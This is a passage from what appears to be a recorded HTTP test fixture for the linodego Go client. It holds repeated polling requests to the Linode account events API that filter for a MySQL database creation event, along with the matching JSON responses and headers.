Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": 